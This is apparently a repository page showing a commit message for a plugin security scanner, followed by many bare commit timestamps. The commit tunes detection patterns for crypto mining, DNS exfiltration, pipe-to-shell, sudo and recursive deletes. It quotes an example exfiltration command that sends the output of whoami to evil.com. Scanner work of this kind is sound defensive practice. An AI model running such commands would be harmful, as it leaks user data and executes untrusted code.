teknium1
2be78cbcf7
fix(plugin-guard): false-positive round 3 from the 2026-10-01 catalog sweep
...
Seven more mechanisms that scored clean catalog pins as caution/dangerous,
each fixed at the pattern or context level (no path exclusions):
- crypto_mining: the bare coin name `monero` as a keyword in a connector
index / search shortlist (`"monero gateway"`, `... monero multimodal ...`)
lands at medium when nothing on the line names miner software, a pool,
an algorithm or the act of mining. xmrig / stratum / coinhive /
cryptonight, or `monero` beside a pool or "miner", keep full severity.
- dns_exfil: `host` is an English noun and an HTTP header. It now needs
the exfil shape itself (an interpolation inside a domain name,
`host $(whoami).evil.com`) or a shell command position (`; host $x`,
`do host $c`). "the connected host (${id})", a JS `host ${status}:`
message and nginx `Host $host;` no longer match. dig/nslookup unchanged.
- echo_pipe_exec / curl_pipe_shell / wget_pipe_shell: the shared shell
alternation is word-bounded, so `| sha256sum -c` is not `| sh`.
- exec_string: an upper-case SQL statement (`db.exec('PRAGMA ...')`,
BEGIN/COMMIT/ROLLBACK/CREATE/INSERT ...) is a database call.
- sudo_usage (and any other high, non-agent-facing finding) mid-sentence in
a `"key": "string"` pair or a bare string list element of a .json data
file (tips / translation table) takes the README prose cap. Command keys,
a string that starts with the command (`"sudo",` in an args array),
package.json and critical findings keep severity.
- test fixtures: in Python/JS/TS a `$(...)` or backtick INSIDE a string
literal is data, so a hostile-input table no longer counts as executing.
`os.system(...)`/`exec(...)` outside the literal still do; shell files
keep the raw line.
- docs self-uninstall: `rm -rf ~/.hermes/plugins/<own name>` (and
`${HOME}`) gets the same note as the `$HOME` form; a wider target or the
same line in a .sh keeps severity.
curl_pipe_shell in a Python hint string is deliberately unchanged: the
same literal assigned to a variable is the attack shape, and it is only
high (caution) today.
SCANNER_VERSION -> skills-guard-v8 (regex changes in the shared table).
2026-10-01 22:05:55 -07:00
..
2026-09-29 02:06:58 +05:30
2026-10-01 01:50:16 -05:00
2026-09-28 12:43:03 -07:00
2026-09-29 22:57:48 -04:00
2026-09-21 15:02:49 -07:00
2026-09-29 12:25:29 -05:00
2026-09-28 10:21:41 -07:00
2026-10-01 13:23:12 -07:00
2026-09-30 21:33:08 -04:00
2026-09-12 10:37:00 -04:00
2026-10-01 13:23:12 -07:00
2026-10-01 13:23:12 -07:00
2026-10-01 13:23:12 -07:00
2026-09-20 15:32:42 -07:00
2026-10-01 13:23:12 -07:00
2026-10-02 01:24:41 +05:30
2026-09-28 10:21:41 -07:00
2026-09-17 21:17:26 +05:30
2026-09-11 12:23:51 -04:00
2026-10-01 16:18:46 +05:30
2026-09-30 10:00:37 -05:00
2026-09-30 10:00:37 -05:00
2026-09-28 06:06:17 -07:00
2026-10-01 16:18:46 +05:30
2026-09-28 10:21:41 -07:00
2026-09-12 01:35:05 -07:00
2026-09-17 13:52:05 -04:00
2026-09-28 10:21:41 -07:00
2026-09-23 20:04:27 -04:00
2026-09-28 10:21:41 -07:00
2026-09-15 06:16:38 -07:00
2026-09-28 12:43:03 -07:00
2026-09-24 11:50:30 -04:00
2026-09-23 10:13:26 -04:00
2026-09-23 07:36:31 -04:00
2026-09-23 07:36:31 -04:00
2026-10-01 03:18:09 -05:00
2026-09-10 10:35:07 -07:00
2026-09-17 09:02:55 -07:00
2026-09-28 12:43:03 -07:00
2026-09-28 03:34:07 -07:00
2026-09-18 14:06:15 -07:00
2026-09-13 05:09:43 -07:00
2026-09-24 01:55:51 -04:00
2026-09-24 03:42:38 -04:00
2026-09-29 14:12:41 -04:00
2026-09-19 01:03:23 -04:00
2026-10-01 13:23:12 -07:00
2026-09-29 19:44:05 -05:00
2026-09-28 10:21:41 -07:00
2026-09-28 06:42:00 -07:00
2026-09-28 10:11:33 -07:00
2026-09-28 12:43:03 -07:00
2026-09-28 10:21:41 -07:00
2026-09-28 10:11:33 -07:00
2026-10-02 01:18:03 +05:30
2026-09-28 02:32:05 +05:30
2026-09-28 10:21:41 -07:00
2026-09-17 13:52:05 -04:00
2026-09-27 18:17:20 +05:30
2026-09-23 10:42:18 -04:00
2026-09-28 12:43:03 -07:00
2026-09-19 23:57:59 -07:00
2026-09-13 21:05:42 -07:00
2026-09-15 18:40:52 -07:00
2026-09-28 10:21:41 -07:00
2026-09-28 10:21:41 -07:00
2026-09-28 10:21:41 -07:00
2026-10-01 01:53:55 -05:00
2026-09-28 10:21:41 -07:00
2026-09-29 12:25:29 -05:00
2026-09-29 02:06:58 +05:30
2026-09-28 10:21:41 -07:00
2026-09-21 14:01:47 -04:00
2026-09-28 10:21:41 -07:00
2026-09-28 10:21:41 -07:00
2026-09-25 14:58:09 -04:00
2026-10-02 01:15:39 +05:30
2026-09-21 00:58:39 -04:00
2026-10-02 01:15:39 +05:30
2026-09-18 10:10:40 -07:00
2026-09-27 01:10:56 +05:30
2026-09-21 18:39:24 -07:00
2026-09-26 22:26:05 +05:30
2026-09-28 12:43:03 -07:00
2026-09-28 10:21:41 -07:00
2026-10-02 01:15:39 +05:30
2026-09-16 16:59:03 -07:00
2026-09-13 21:03:11 -07:00
2026-10-01 16:22:28 +05:30
2026-10-01 16:22:28 +05:30
2026-09-26 18:27:10 -05:00
2026-09-16 17:21:14 -07:00
2026-10-01 09:26:00 -04:00
2026-10-01 09:26:00 -04:00
2026-09-12 12:32:55 -07:00
2026-09-29 15:08:07 +05:30
2026-10-01 23:55:54 +05:30
2026-09-21 10:04:32 +05:30
2026-09-27 06:26:52 -05:00
2026-09-20 18:22:18 -07:00
2026-09-25 14:27:51 +05:30
2026-09-23 11:41:01 -04:00
2026-09-28 10:21:41 -07:00
2026-09-28 10:21:41 -07:00
2026-09-23 15:43:51 -07:00
2026-09-28 02:03:42 +05:30
2026-09-28 19:02:20 +05:30
2026-09-13 05:09:43 -07:00
2026-09-28 05:24:26 -07:00
2026-09-27 21:30:10 -07:00
2026-09-22 17:54:42 +05:30
2026-09-17 19:06:29 -04:00
2026-09-26 20:58:16 -04:00
2026-09-12 01:35:05 -07:00
2026-09-27 21:30:10 -07:00
2026-09-26 22:40:54 +05:30
2026-09-18 19:31:50 -04:00
2026-09-21 13:14:22 -07:00
2026-09-11 15:27:23 -07:00
2026-09-28 05:24:26 -07:00
2026-09-27 21:30:10 -07:00
2026-09-28 10:21:41 -07:00
2026-09-24 15:38:22 +05:30
2026-09-28 12:43:03 -07:00
2026-09-28 10:21:41 -07:00
2026-09-11 18:13:06 -04:00
2026-09-28 10:21:41 -07:00
2026-09-28 10:21:41 -07:00
2026-09-14 15:38:34 -04:00
2026-09-25 14:58:09 -04:00
2026-09-28 10:21:41 -07:00
2026-10-01 22:05:55 -07:00
2026-10-01 22:05:55 -07:00
2026-09-28 10:21:41 -07:00
2026-09-26 17:19:34 -05:00
2026-09-26 22:19:53 -05:00
2026-09-17 13:52:05 -04:00
2026-10-01 00:52:58 -05:00
2026-09-24 03:52:03 -05:00
2026-09-12 22:09:19 -07:00
2026-09-28 10:21:41 -07:00
2026-09-28 10:21:41 -07:00
2026-09-29 12:25:29 -05:00
2026-09-29 12:25:29 -05:00
2026-09-28 10:21:41 -07:00
2026-09-23 15:26:34 -04:00
2026-09-19 10:16:59 -07:00
2026-09-23 18:52:49 -05:00
2026-09-21 19:08:19 -04:00
2026-09-28 10:21:41 -07:00
2026-09-23 18:29:35 -05:00
2026-09-18 09:35:16 -07:00
2026-09-28 10:21:41 -07:00
2026-09-28 10:21:41 -07:00
2026-09-24 16:49:18 +05:30
2026-09-28 10:21:41 -07:00
2026-09-30 23:10:24 -05:00
2026-09-28 10:21:41 -07:00
2026-10-01 22:05:55 -07:00
2026-09-22 15:59:17 +05:30
2026-09-22 07:05:11 -04:00
2026-09-28 12:43:03 -07:00
2026-09-22 07:05:11 -04:00
2026-09-17 13:52:05 -04:00
2026-09-22 15:59:17 +05:30
2026-09-20 12:58:32 -07:00
2026-09-28 10:21:41 -07:00
2026-09-11 11:54:49 -07:00
2026-09-28 10:21:41 -07:00
2026-09-28 10:21:41 -07:00
2026-09-16 17:23:44 -07:00
2026-09-15 18:33:15 -07:00
2026-09-28 10:21:41 -07:00
2026-09-28 10:21:41 -07:00
2026-09-30 15:16:40 -05:00
2026-10-02 01:24:41 +05:30
2026-09-28 10:21:41 -07:00
2026-09-28 12:33:01 -07:00
2026-09-26 18:27:10 -05:00
2026-09-26 18:27:10 -05:00
2026-09-26 18:27:10 -05:00
2026-09-23 17:09:54 -07:00
2026-09-17 13:52:05 -04:00
2026-09-26 23:44:55 +05:30
2026-09-28 12:43:03 -07:00
2026-09-10 11:48:01 -07:00
2026-09-20 11:30:03 -07:00
2026-09-29 17:29:05 +00:00
2026-09-29 22:07:30 +05:30
2026-10-01 23:55:54 +05:30
2026-09-22 13:57:51 +05:30
2026-09-11 15:44:00 -07:00
2026-09-13 05:09:43 -07:00
2026-09-28 10:21:41 -07:00
2026-09-22 17:54:42 +05:30
2026-09-19 10:03:11 -07:00
2026-09-30 23:07:09 -05:00
2026-09-12 10:00:08 +05:30
2026-09-22 05:16:50 -04:00
2026-09-27 03:45:07 -04:00
2026-09-14 15:38:34 -04:00
2026-09-27 03:45:07 -04:00
2026-09-17 13:52:05 -04:00
2026-09-30 15:16:40 -05:00
2026-09-28 12:23:25 -07:00
2026-09-26 06:19:34 +05:30
2026-09-30 23:02:33 -05:00
2026-09-13 05:32:38 -07:00
2026-09-28 12:23:25 -07:00
2026-09-19 10:10:29 -07:00
2026-09-26 06:19:34 +05:30
2026-09-20 10:25:30 -07:00
2026-09-28 10:21:41 -07:00
2026-09-28 10:21:41 -07:00
2026-09-19 12:22:44 -07:00
2026-09-19 09:52:18 -07:00
2026-10-01 01:50:16 -05:00
2026-10-01 01:50:16 -05:00
2026-09-29 18:19:39 -05:00
2026-09-11 19:14:24 -07:00
2026-09-28 10:21:41 -07:00
2026-09-29 19:14:28 -05:00
2026-09-28 10:21:41 -07:00
2026-09-15 18:42:38 -07:00
2026-10-01 23:55:54 +05:30
2026-09-19 03:07:47 -07:00
2026-10-01 23:55:54 +05:30
2026-09-28 10:21:41 -07:00
2026-09-12 19:03:39 -04:00
2026-09-30 23:05:43 -05:00
2026-09-13 12:35:36 -07:00
2026-09-23 11:41:01 -04:00
2026-09-19 12:22:44 -07:00
2026-09-28 10:21:41 -07:00